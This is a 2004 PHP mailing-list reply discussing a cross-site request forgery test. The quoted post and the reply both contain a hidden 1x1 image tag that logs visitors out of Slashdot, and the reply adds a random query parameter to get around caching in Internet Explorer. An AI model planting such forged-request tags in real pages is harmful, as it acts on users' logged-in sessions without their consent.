RE: [PHP] CSRF attack not possible in I.E. 6.01 SP1?
| From: | Ed Lazor | Date: | Mon, 16 Aug 2004 19:01:16 +0000 |
| Subject: | RE: [PHP] CSRF attack not possible in I.E. 6.01 SP1? | ||
| References: | 1 | Groups: | php.general |
| Request: | Send a blank email to php-general+get-193993@lists.php.net to get a copy of this message | ||
What if you add a random seed to the URL?
<img src="http://slashdot.org/my/logout?fluff=<?php
echo rand(1,200);?>"
height="1" width="1">
> -----Original Message-----
> Hello Chris,
>
> I can't share the exact code ;) , but here is something very similar:
>
> <img src="http://slashdot.org/my/logout"
> height="1" width="1">
>
> If I load a web page with the above code, it should log me out of
> slashdot. It works in Mozilla (and netscape), but not in I.E. 6.01 SP1